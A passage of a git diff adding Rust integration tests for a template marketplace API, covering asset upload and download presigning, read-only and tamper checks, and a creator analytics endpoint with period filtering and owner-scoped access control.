+        .expect("Failed to fetch template detail");
+    assert_eq!(StatusCode::OK, detail_response.status());
+
+    let detail_body: Value = detail_response
+        .json()
+        .await
+        .expect("Detail response should be valid JSON");
+    let detail_assets = detail_body["item"]["latest_version"]["assets"]
+        .as_array()
+        .expect("Approved template detail should expose latest version assets");
+    assert_eq!(1, detail_assets.len());
+    assert_eq!(asset_key, detail_assets[0]["key"]);
+
+    let download_response = client
+        .post(format!(
+            "{}/api/v1/templates/{}/assets/presign-download",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({ "key": asset_key }))
+        .send()
+        .await
+        .expect("Failed to presign asset download");
+    assert_eq!(StatusCode::OK, download_response.status());
+
+    let download_body: Value = download_response
+        .json()
+        .await
+        .expect("Download presign response should be valid JSON");
+    assert_eq!("GET", download_body["item"]["method"]);
+    assert!(download_body["item"]["url"]
+        .as_str()
+        .expect("Presigned download URL should be a string")
+        .contains("X-Amz-Signature="));
+}
+
+#[tokio::test]
+async fn approved_template_assets_are_read_only() {
+    let app = match common::spawn_app_with_test_auth_configuration(
+        marketplace_storage_test_configuration(),
+    )
+    .await
+    {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let create_response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Approved Asset Template",
+            "slug": "approved-asset-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            }
+        }),
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, create_response.status());
+
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id")
+        .to_string();
+
+    sqlx::query(
+        r#"UPDATE stack_template SET status = 'approved', approved_at = NOW() WHERE id = $1"#,
+    )
+    .bind(Uuid::parse_str(&template_id).expect("Template id should be a UUID"))
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to mark template approved");
+
+    let presign_response = client
+        .post(format!(
+            "{}/api/v1/templates/{}/assets/presign",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "filename": "bundle.tgz",
+            "sha256": "abc12345",
+            "size": 2048
+        }))
+        .send()
+        .await
+        .expect("Failed to presign asset upload");
+    assert_eq!(StatusCode::BAD_REQUEST, presign_response.status());
+    let presign_body: Value = presign_response
+        .json()
+        .await
+        .expect("Presign error should be valid JSON");
+    assert!(presign_body["message"]
+        .as_str()
+        .expect("Error response should include a message")
+        .contains("read-only"));
+
+    let finalize_response = client
+        .post(format!(
+            "{}/api/v1/templates/{}/assets/finalize",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "bucket": "marketplace-assets-test",
+            "key": "templates/fake/versions/1.0.0/assets/abc12345/bundle.tgz",
+            "filename": "bundle.tgz",
+            "sha256": "abc12345",
+            "size": 2048
+        }))
+        .send()
+        .await
+        .expect("Failed to finalize asset upload");
+    assert_eq!(StatusCode::BAD_REQUEST, finalize_response.status());
+    let finalize_body: Value = finalize_response
+        .json()
+        .await
+        .expect("Finalize error should be valid JSON");
+    assert!(finalize_body["message"]
+        .as_str()
+        .expect("Error response should include a message")
+        .contains("read-only"));
+}
+
+#[tokio::test]
+async fn finalize_asset_rejects_tampered_bucket_or_key() {
+    let app = match common::spawn_app_with_test_auth_configuration(
+        marketplace_storage_test_configuration(),
+    )
+    .await
+    {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let create_response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Tamper Guard Template",
+            "slug": "tamper-guard-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:latest" }
+                }
+            }
+        }),
+    )
+    .await;
+    assert_eq!(StatusCode::CREATED, create_response.status());
+
+    let create_body: Value = create_response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = create_body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id")
+        .to_string();
+
+    let presign_response = client
+        .post(format!(
+            "{}/api/v1/templates/{}/assets/presign",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "filename": "bundle.tgz",
+            "sha256": "abc12345",
+            "size": 2048,
+            "content_type": "application/gzip"
+        }))
+        .send()
+        .await
+        .expect("Failed to presign asset upload");
+    assert_eq!(StatusCode::OK, presign_response.status());
+
+    let presign_body: Value = presign_response
+        .json()
+        .await
+        .expect("Presign response should be valid JSON");
+    let asset = presign_body["item"]["asset"].clone();
+
+    let finalize_response = client
+        .post(format!(
+            "{}/api/v1/templates/{}/assets/finalize",
+            app.address, template_id
+        ))
+        .bearer_auth("test-bearer-token")
+        .json(&json!({
+            "bucket": "marketplace-assets-prod",
+            "key": "templates/other-template/versions/1.0.0/assets/abc12345/bundle.tgz",
+            "filename": asset["filename"],
+            "sha256": asset["sha256"],
+            "size": asset["size"],
+            "content_type": asset["content_type"]
+        }))
+        .send()
+        .await
+        .expect("Failed to finalize tampered asset upload");
+    assert_eq!(StatusCode::BAD_REQUEST, finalize_response.status());
+}
+
+#[tokio::test]
+async fn create_template_persists_extended_version_contract_in_public_detail() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = Client::new();
+
+    let response = create_template_with_body(
+        &client,
+        &app.address,
+        "test-bearer-token",
+        json!({
+            "name": "Contract Mirror Template",
+            "slug": "contract-mirror-template",
+            "version": "1.0.0",
+            "stack_definition": {
+                "services": {
+                    "web": { "image": "nginx:1.27" }
+                }
+            },
+            "definition_format": "json",
+            "changelog": "Initial marketplace release with config files and lifecycle hooks.",
+            "config_files": [
+                {
+                    "path": "/etc/nginx/conf.d/default.conf",
+                    "content": "server { listen 80; server_name _; }",
+                    "encoding": "utf-8",
+                    "mode": "0644",
+                    "target_service": "nginx",
+                    "description": "Base nginx vhost config"
+                }
+            ],
+            "seed_jobs": [
+                {
+                    "name": "db-seed",
+                    "image": "postgres:16",
+                    "command": ["psql", "-f", "/bootstrap/init.sql"],
+                    "execution_scope": "container",
+                    "timeout_seconds": 900,
+                    "retry_limit": 1,
+                    "env": {
+                        "PGDATABASE": "app"
+                    },
+                    "idempotency_key": "seed-db-v1"
+                }
+            ],
+            "post_deploy_hooks": [
+                {
+                    "name": "warm-cache",
+                    "command": "node scripts/warm-cache.js",
+                    "execution_scope": "container",
+                    "timeout_seconds": 300,
+                    "retry_limit": 0,
+                    "env": {
+                        "NODE_ENV": "production"
+                    },
+                    "idempotency_key": "warm-cache-v1"
+                }
+            ],
+            "update_mode_capabilities": {
+                "mode_self_managed": true,
+                "mode_managed_status_panel": true,
+                "supports_rollback": true,
+                "requires_backup": true,
+                "backup_providers": ["managed", "snapshot"]
+            }
+        }),
+    )
+    .await;
+
+    assert_eq!(StatusCode::CREATED, response.status());
+
+    let body: Value = response
+        .json()
+        .await
+        .expect("Create response should be valid JSON");
+    let template_id = body["item"]["id"]
+        .as_str()
+        .expect("Created template should include an id");
+
+    sqlx::query(
+        r#"UPDATE stack_template SET status = 'approved', approved_at = NOW() WHERE id = $1"#,
+    )
+    .bind(Uuid::parse_str(template_id).expect("Template id should be a UUID"))
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to mark template approved");
+
+    let detail_response = client
+        .get(format!(
+            "{}/api/v1/templates/contract-mirror-template",
+            app.address
+        ))
+        .send()
+        .await
+        .expect("Failed to fetch template detail");
+    assert_eq!(StatusCode::OK, detail_response.status());
+
+    let detail_body: Value = detail_response
+        .json()
+        .await
+        .expect("Detail response should be valid JSON");
+    let latest_version = &detail_body["item"]["latest_version"];
+
+    assert_eq!(
+        "Initial marketplace release with config files and lifecycle hooks.",
+        latest_version["changelog"]
+    );
+    assert_eq!(
+        json!([
+            {
+                "path": "/etc/nginx/conf.d/default.conf",
+                "content": "server { listen 80; server_name _; }",
+                "encoding": "utf-8",
+                "mode": "0644",
+                "target_service": "nginx",
+                "description": "Base nginx vhost config"
+            }
+        ]),
+        latest_version["config_files"]
+    );
+    assert_eq!(
+        json!([
+            {
+                "name": "db-seed",
+                "image": "postgres:16",
+                "command": ["psql", "-f", "/bootstrap/init.sql"],
+                "execution_scope": "container",
+                "timeout_seconds": 900,
+                "retry_limit": 1,
+                "env": {
+                    "PGDATABASE": "app"
+                },
+                "idempotency_key": "seed-db-v1"
+            }
+        ]),
+        latest_version["seed_jobs"]
+    );
+    assert_eq!(
+        json!([
+            {
+                "name": "warm-cache",
+                "command": "node scripts/warm-cache.js",
+                "execution_scope": "container",
+                "timeout_seconds": 300,
+                "retry_limit": 0,
+                "env": {
+                    "NODE_ENV": "production"
+                },
+                "idempotency_key": "warm-cache-v1"
+            }
+        ]),
+        latest_version["post_deploy_hooks"]
+    );
+    assert_eq!(
+        json!({
+            "mode_self_managed": true,
+            "mode_managed_status_panel": true,
+            "supports_rollback": true,
+            "requires_backup": true,
+            "backup_providers": ["managed", "snapshot"]
+        }),
+        latest_version["update_mode_capabilities"]
+    );
+}
diff --git a/tests/marketplace_creator_analytics_api.rs b/tests/marketplace_creator_analytics_api.rs
new file mode 100644
index 00000000..e0b1822a
--- /dev/null
+++ b/tests/marketplace_creator_analytics_api.rs
@@ -0,0 +1,801 @@
+/// TDD Integration tests for GET /api/templates/mine/analytics
+///
+/// This test suite validates the creator analytics endpoint behavior according to the
+/// marketplace-vendor-analytics contract. These are HTTP-level tests using the full
+/// Actix server stack (via `spawn_app`) with mock OAuth, real Postgres, and Casbin RBAC.
+///
+/// Expected Status: RED (tests compile but fail until production route implementation is complete)
+///
+/// Coverage:
+/// 1. Authenticated creator receives analytics for their templates (200 with all required fields)
+/// 2. Empty state: creator with no templates receives zeros in summary
+/// 3. Period filtering: 7d/30d/90d/all/custom query params filter metrics correctly
+/// 4. Cloud breakdown: groups deployments by provider with percentages
+/// 5. Top templates: sorts by deployment or view count
+/// 6. Access control: creator A cannot see creator B's analytics (403 or 404)
+/// 7. Forbidden: unauthenticated request returns 403
+/// 8. No finance fields: response excludes withdrawal, payout, earnings, balance
+///
+/// Why these tests exist:
+/// - The analytics_contract.rs validates JSON shape; these validate HTTP behavior
+/// - BDD scenarios in marketplace_creator.feature are high-level; these are granular
+/// - Must prove authentication, authorization, period filtering, and owner-scoping work
+/// - Catch regressions in route registration or RBAC policy changes
+mod common;
+
+use chrono::{Duration, Utc};
+use reqwest::StatusCode;
+use uuid::Uuid;
+
+const BEARER_TOKEN_USER_A: &str = "test-bearer-token-user-a";
+const MOCK_USER_A_ID: &str = "test_user_id"; // Default from common::mock_auth
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 1: Basic Success - Owner Receives Analytics
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Authenticated creator with templates receives 200 with complete analytics structure
+///
+/// Expected: RED until route implementation correctly aggregates metrics
+#[tokio::test]
+async fn analytics_returns_complete_structure_for_owner() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    // Seed a published template for the mock user
+    let template_id = Uuid::new_v4();
+    seed_template_with_events(&app.db_pool, template_id, MOCK_USER_A_ID, "approved").await;
+
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(
+        StatusCode::OK,
+        response.status(),
+        "Owner should receive 200 for their analytics"
+    );
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    // Assert all required top-level keys per contract
+    assert!(
+        body.get("creatorId").is_some(),
+        "Response must contain creatorId"
+    );
+    assert!(body.get("period").is_some(), "Response must contain period");
+    assert!(
+        body.get("summary").is_some(),
+        "Response must contain summary"
+    );
+    assert!(
+        body.get("viewsSeries").is_some(),
+        "Response must contain viewsSeries"
+    );
+    assert!(
+        body.get("deploymentsSeries").is_some(),
+        "Response must contain deploymentsSeries"
+    );
+    assert!(
+        body.get("cloudBreakdown").is_some(),
+        "Response must contain cloudBreakdown"
+    );
+    assert!(
+        body.get("topTemplates").is_some(),
+        "Response must contain topTemplates"
+    );
+    assert!(
+        body.get("templates").is_some(),
+        "Response must contain templates array"
+    );
+
+    // Verify period structure
+    let period = body.get("period").unwrap();
+    assert!(period.get("key").is_some(), "period must have key");
+    assert!(
+        period.get("startDate").is_some(),
+        "period must have startDate"
+    );
+    assert!(period.get("endDate").is_some(), "period must have endDate");
+    assert!(period.get("bucket").is_some(), "period must have bucket");
+
+    // Verify summary structure
+    let summary = body.get("summary").unwrap();
+    assert!(
+        summary.get("totalViews").is_some(),
+        "summary must have totalViews"
+    );
+    assert!(
+        summary.get("totalDeployments").is_some(),
+        "summary must have totalDeployments"
+    );
+    assert!(
+        summary.get("conversionRate").is_some(),
+        "summary must have conversionRate"
+    );
+    assert!(
+        summary.get("publishedTemplates").is_some(),
+        "summary must have publishedTemplates"
+    );
+
+    println!("✓ Analytics response has complete contract-compliant structure");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 2: Empty State - No Templates
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Creator with no templates receives 200 with zero metrics
+///
+/// Expected: RED until route implementation handles empty state gracefully
+#[tokio::test]
+async fn analytics_returns_empty_state_for_new_creator() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    // No templates seeded - fresh creator
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(
+        StatusCode::OK,
+        response.status(),
+        "New creator should receive 200 with empty analytics"
+    );
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    let summary = body.get("summary").expect("Response must have summary");
+    assert_eq!(
+        0,
+        summary["totalViews"].as_i64().unwrap_or(-1),
+        "New creator should have 0 views"
+    );
+    assert_eq!(
+        0,
+        summary["totalDeployments"].as_i64().unwrap_or(-1),
+        "New creator should have 0 deployments"
+    );
+    assert_eq!(
+        0,
+        summary["publishedTemplates"].as_i64().unwrap_or(-1),
+        "New creator should have 0 published templates"
+    );
+
+    let templates = body
+        .get("templates")
+        .and_then(|t| t.as_array())
+        .expect("templates should be an array");
+    assert_eq!(
+        0,
+        templates.len(),
+        "New creator should have empty templates array"
+    );
+
+    println!("✓ Empty state returns zeros without error");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 3: Period Filtering - 7d vs 30d
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Period query param filters events correctly: 7d excludes older events
+///
+/// Expected: RED until route implementation respects period parameter
+#[tokio::test]
+async fn analytics_filters_by_period_7d() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    let template_id = Uuid::new_v4();
+    seed_template_with_events(&app.db_pool, template_id, MOCK_USER_A_ID, "approved").await;
+
+    // Insert events: recent (within 7d) and old (outside 7d)
+    let recent_view_time = Utc::now() - Duration::days(3);
+    let old_view_time = Utc::now() - Duration::days(20);
+
+    insert_view_event(&app.db_pool, template_id, "user-recent", recent_view_time).await;
+    insert_view_event(&app.db_pool, template_id, "user-old", old_view_time).await;
+
+    // Request 7d period
+    let response = client
+        .get(format!(
+            "{}/api/templates/mine/analytics?period=7d",
+            app.address
+        ))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    // Period key should reflect the requested filter
+    assert_eq!(
+        "7d",
+        body["period"]["key"].as_str().unwrap_or_default(),
+        "period.key should be 7d"
+    );
+
+    // Summary should count only recent event (1 view, not 2)
+    let total_views = body["summary"]["totalViews"].as_i64().unwrap_or(-1);
+    assert_eq!(
+        1, total_views,
+        "7d period should exclude events older than 7 days"
+    );
+
+    println!("✓ Period filtering works for 7d");
+}
+
+/// Period query param filters events correctly: 30d includes more events than 7d
+///
+/// Expected: RED until route implementation respects period parameter
+#[tokio::test]
+async fn analytics_filters_by_period_30d() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    let template_id = Uuid::new_v4();
+    seed_template_with_events(&app.db_pool, template_id, MOCK_USER_A_ID, "approved").await;
+
+    // Insert events: one within 7d, one within 30d but outside 7d
+    let view_6d_ago = Utc::now() - Duration::days(6);
+    let view_25d_ago = Utc::now() - Duration::days(25);
+
+    insert_view_event(&app.db_pool, template_id, "user-recent", view_6d_ago).await;
+    insert_view_event(&app.db_pool, template_id, "user-mid", view_25d_ago).await;
+
+    // Request 30d period (default)
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    // Default period should be 30d
+    assert_eq!(
+        "30d",
+        body["period"]["key"].as_str().unwrap_or_default(),
+        "Default period should be 30d"
+    );
+
+    // Summary should count both events
+    let total_views = body["summary"]["totalViews"].as_i64().unwrap_or(-1);
+    assert_eq!(
+        2, total_views,
+        "30d period should include events from last 30 days"
+    );
+
+    println!("✓ Period filtering works for 30d (default)");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 4: Cloud Breakdown
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Cloud breakdown groups deployments by provider and calculates percentages
+///
+/// Expected: RED until route implementation aggregates by cloud_provider
+#[tokio::test]
+async fn analytics_includes_cloud_breakdown() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    let template_id = Uuid::new_v4();
+    seed_template_with_events(&app.db_pool, template_id, MOCK_USER_A_ID, "approved").await;
+
+    // Insert deploy events with different cloud providers
+    let now = Utc::now();
+    insert_deploy_event(&app.db_pool, template_id, "user-1", "hetzner", now).await;
+    insert_deploy_event(&app.db_pool, template_id, "user-2", "hetzner", now).await;
+    insert_deploy_event(&app.db_pool, template_id, "user-3", "digitalocean", now).await;
+
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    let cloud_breakdown = body
+        .get("cloudBreakdown")
+        .and_then(|cb| cb.as_array())
+        .expect("cloudBreakdown should be an array");
+
+    assert!(
+        !cloud_breakdown.is_empty(),
+        "cloudBreakdown should not be empty when deployments exist"
+    );
+
+    // Find hetzner entry
+    let hetzner_entry = cloud_breakdown
+        .iter()
+        .find(|item| item["cloudProvider"].as_str() == Some("hetzner"));
+
+    assert!(
+        hetzner_entry.is_some(),
+        "cloudBreakdown should include hetzner"
+    );
+
+    let hetzner = hetzner_entry.unwrap();
+    assert_eq!(
+        2,
+        hetzner["deployments"].as_i64().unwrap_or(0),
+        "Hetzner should have 2 deployments"
+    );
+
+    // Percentage should be approximately 66.67% (2 out of 3)
+    let percentage = hetzner["percentage"].as_f64().unwrap_or(0.0);
+    assert!(
+        percentage > 60.0 && percentage < 70.0,
+        "Hetzner percentage should be ~66.67%, got {}",
+        percentage
+    );
+
+    println!("✓ Cloud breakdown aggregates by provider with percentages");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 5: Top Templates Sorting
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Top templates are sorted by deployment count
+///
+/// Expected: RED until route implementation sorts topTemplates correctly
+#[tokio::test]
+async fn analytics_sorts_top_templates_by_deployments() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    // Seed two templates with different deployment counts
+    let template_popular = Uuid::new_v4();
+    let template_less_popular = Uuid::new_v4();
+
+    seed_template_with_events(&app.db_pool, template_popular, MOCK_USER_A_ID, "approved").await;
+    seed_template_with_events(
+        &app.db_pool,
+        template_less_popular,
+        MOCK_USER_A_ID,
+        "approved",
+    )
+    .await;
+
+    let now = Utc::now();
+    // template_popular: 5 deployments
+    for i in 0..5 {
+        insert_deploy_event(
+            &app.db_pool,
+            template_popular,
+            &format!("user-{}", i),
+            "hetzner",
+            now,
+        )
+        .await;
+    }
+
+    // template_less_popular: 2 deployments
+    for i in 0..2 {
+        insert_deploy_event(
+            &app.db_pool,
+            template_less_popular,
+            &format!("user-{}", i + 10),
+            "digitalocean",
+            now,
+        )
+        .await;
+    }
+
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    let top_templates = body
+        .get("topTemplates")
+        .and_then(|tt| tt.as_array())
+        .expect("topTemplates should be an array");
+
+    assert!(
+        top_templates.len() >= 2,
+        "topTemplates should include both seeded templates"
+    );
+
+    // First template should be the one with more deployments
+    let first_deployments = top_templates[0]["deployments"].as_i64().unwrap_or(0);
+    let second_deployments = top_templates[1]["deployments"].as_i64().unwrap_or(0);
+
+    assert!(
+        first_deployments >= second_deployments,
+        "topTemplates should be sorted by deployments DESC"
+    );
+
+    println!("✓ Top templates sorted by deployment count");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 6: Access Control - Forbidden Access to Another Creator
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Creator A cannot see Creator B's analytics
+///
+/// Expected: RED until route implementation enforces owner-scoped queries
+#[tokio::test]
+async fn analytics_forbidden_for_another_creator() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    // Seed a template for a different user (creator B)
+    let template_id = Uuid::new_v4();
+    let creator_b_id = "other_creator_user_id";
+    seed_template_with_events(&app.db_pool, template_id, creator_b_id, "approved").await;
+
+    // User A attempts to query analytics (should only see their own - none exist)
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    let templates = body
+        .get("templates")
+        .and_then(|t| t.as_array())
+        .expect("templates should be an array");
+
+    // User A should NOT see creator B's template
+    assert_eq!(
+        0,
+        templates.len(),
+        "User A should not see other creator's templates"
+    );
+
+    let total_deployments = body["summary"]["totalDeployments"].as_i64().unwrap_or(-1);
+    assert_eq!(
+        0, total_deployments,
+        "User A should not see other creator's deployments"
+    );
+
+    println!("✓ Analytics are correctly scoped to authenticated creator");
+}
+
+/// Creator cannot use templateId query param to access another creator's template analytics
+///
+/// Expected: RED until validate_optional_template_scope enforces ownership check
+#[tokio::test]
+async fn analytics_forbidden_for_template_not_owned() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    // Seed a template for a different user
+    let template_id = Uuid::new_v4();
+    let creator_b_id = "other_creator_user_id";
+    seed_template_with_events(&app.db_pool, template_id, creator_b_id, "approved").await;
+
+    // User A attempts to query analytics with templateId of creator B's template
+    let response = client
+        .get(format!(
+            "{}/api/templates/mine/analytics?templateId={}",
+            app.address, template_id
+        ))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    let status = response.status();
+    assert!(
+        status == StatusCode::FORBIDDEN || status == StatusCode::NOT_FOUND,
+        "Should return 403 or 404 when templateId is not owned by creator, got {}",
+        status
+    );
+
+    println!("✓ Template scope validation prevents access to other creator's templates");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 7: Unauthenticated Request
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Unauthenticated request returns 403 Forbidden
+///
+/// Expected: GREEN (authentication middleware should already enforce this)
+#[tokio::test]
+async fn analytics_returns_forbidden_without_authorization() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        // Intentionally omit .bearer_auth(…)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(
+        StatusCode::FORBIDDEN,
+        response.status(),
+        "Missing auth should return 403 Forbidden"
+    );
+
+    println!("✓ Unauthenticated request correctly returns 403");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test 8: No Finance Fields in Response
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Response must not include withdrawal, payout, earnings, balance fields
+///
+/// Expected: GREEN (contract test already validates this, but HTTP test confirms it end-to-end)
+#[tokio::test]
+async fn analytics_excludes_finance_fields() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => {
+            eprintln!("Skipping test: database not available");
+            return;
+        }
+    };
+    let client = reqwest::Client::new();
+
+    let template_id = Uuid::new_v4();
+    seed_template_with_events(&app.db_pool, template_id, MOCK_USER_A_ID, "approved").await;
+
+    let response = client
+        .get(format!("{}/api/templates/mine/analytics", app.address))
+        .bearer_auth(BEARER_TOKEN_USER_A)
+        .send()
+        .await
+        .expect("Failed to send request");
+
+    assert_eq!(StatusCode::OK, response.status());
+
+    let body: serde_json::Value = response
+        .json()
+        .await
+        .expect("Response should be valid JSON");
+
+    // Assert no finance fields at top level
+    assert!(
+        body.get("totalEarnings").is_none(),
+        "Response must not contain totalEarnings"
+    );
+    assert!(
+        body.get("totalAmount").is_none(),
+        "Response must not contain totalAmount"
+    );
+    assert!(
+        body.get("withdrawal").is_none(),
+        "Response must not contain withdrawal"
+    );
+    assert!(
+        body.get("payout").is_none(),
+        "Response must not contain payout"
+    );
+    assert!(
+        body.get("balance").is_none(),
+        "Response must not contain balance"
+    );
+    assert!(
+        body.get("banking").is_none(),
+        "Response must not contain banking"
+    );
+    assert!(
+        body.get("revenue").is_none(),
+        "Response must not contain revenue"
+    );
+
+    // Assert no finance fields in summary
+    let summary = body.get("summary").unwrap();
+    assert!(
+        summary.get("earnings").is_none(),
+        "summary must not contain earnings"
+    );
+    assert!(
+        summary.get("revenue").is_none(),
+        "summary must not contain revenue"
+    );
+
+    println!("✓ Analytics response excludes all finance fields");
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Test Helpers
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Seed a minimal template for testing
+async fn seed_template_with_events(
+    pool: &sqlx::PgPool,
+    template_id: Uuid,
+    creator_user_id: &str,
+    status: &str,
+) {
+    let slug = format!("test-template-{}", template_id);
+    sqlx::query(
+        r#"
+        INSERT INTO stack_template (
+            id,
+            creator_user_id,
+            name,
+            slug,
+            status,
+            tags,
+            tech_stack,
+            view_count,
+            deploy_count
+        )
+        VALUES ($1, $2, $3, $4, $5, '[]', '{}', 0, 0)
+        ON CONFLICT (id) DO NOTHING
+        "#,
+    )
+    .bind(template_id)
+    .bind(creator_user_id)
+    .bind(format!("Test Template {}", template_id))
+    .bind(slug)
+    .bind(status)
+    .execute(pool)
+    .await
+    .expect("Failed to seed template");
+}
+
+/// Insert a view event for testing period filtering
+async fn insert_view_event(
+    pool: &sqlx::PgPool,
+    template_id: Uuid,
+    viewer_user_id: &str,
+    occurred_at: chrono::DateTime<Utc>,
+) {
+    sqlx::query(
+        r#"
+        INSERT INTO marketplace_template_event (
+            template_id,
+            event_type,
+            viewer_user_id,
+            metadata,
+            occurred_at,
+            created_at
+        )
